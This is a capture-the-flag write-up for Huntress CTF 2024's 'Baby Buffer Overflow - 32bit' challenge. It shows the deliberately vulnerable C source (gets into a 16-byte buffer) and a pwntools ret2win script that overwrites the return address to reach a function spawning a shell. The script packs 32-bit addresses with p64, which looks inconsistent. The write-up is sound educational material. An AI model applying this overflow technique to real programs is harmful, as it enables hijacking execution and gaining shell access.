> For the complete documentation index, see [llms.txt](https://ravins-organization.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ravins-organization.gitbook.io/ctf-writeups/2024/huntress-ctf-2024/binary-exploitation/baby-buffer-overflow-32bit.md).

# Baby Buffer Overflow - 32bit

Author: @aenygma  Can you command this program to where it cannot go? To get the flag, you must somehow take control of its excecution. Is it even possible?

Here I am given 2 files. First is a C file and the other one is the compiled binary. The content of the files are as follows:

{% file src="/files/J0uJILnsiF5oJHFBJhHf" %}

```c
#include <stdio.h>
#include <unistd.h>

//gcc -fno-pie -no-pie -Wno-implicit-function-declaration -fno-stack-protector -m32 babybufov.c -o babybufov

void target(){
    puts("Jackpot!");
    char* executable="/bin/bash";
    char* argv[]={executable, NULL};
    execve(executable,argv,NULL);
}

int vuln(){
    char buf[16];
    gets(buf);
    return 0;
}

int main(){
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    puts("Gimme some data!");
    fflush(stdout);
    vuln();
    puts("Failed... :(");

```

So first things first, I saw that there was no canary and no PIE, thus there will be no offset

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FiaFchmDSKwWtdD310zqn%2Fimage.png?alt=media&amp;token=3d4b5a54-9c07-4e60-a266-d379ca8b6ab8" alt=""><figcaption></figcaption></figure>

Since this challenge was a basic ret2win, I decided to look through some writeups. After looking through a few writeups, some of the following being

{% embed url="<https://riantheduckquack.gitbook.io/ctf-thingys/challenge-writeups/blahajctf-2023/pwn/cars>" %}

{% embed url="<https://ir0nstone.gitbook.io/notes/binexp/stack/ret2win>" %}

I used them to create my own script that I could use to solve this challenge.&#x20;

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FsLxeatbO85ufpUuS0YrV%2Fimage.png?alt=media&amp;token=65cabbc0-2559-4a6f-9217-de7d514e6747" alt=""><figcaption><p>ret func</p></figcaption></figure>

By seeing that the ret function is at the address `0x08049006`, I created up a script that would help me solve this challenge. The payload would A \* 20 as 16 is for the input and 4 is for the 32 bit ret.

```python
from pwn import *
context.binary = binary = ELF("babybufov")

# p = process()
p = remote('challenge.ctf.games', 30693)

hidden_function = p64(binary.symbols.target)
payload = b'A' * 20 + p64(0x08049006) + hidden_function 

p.sendline(payload) 
p.interactive()
```

Using this, we can obtain the flag.

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2F5jZmqgqLIAQjXaIHsMrK%2Fimage.png?alt=media&amp;token=e28d79cd-03f1-491f-be51-9ef52bde998d" alt=""><figcaption></figcaption></figure>

Thus the flag is `flag{4cd3b4079393e861af489ca063373f98`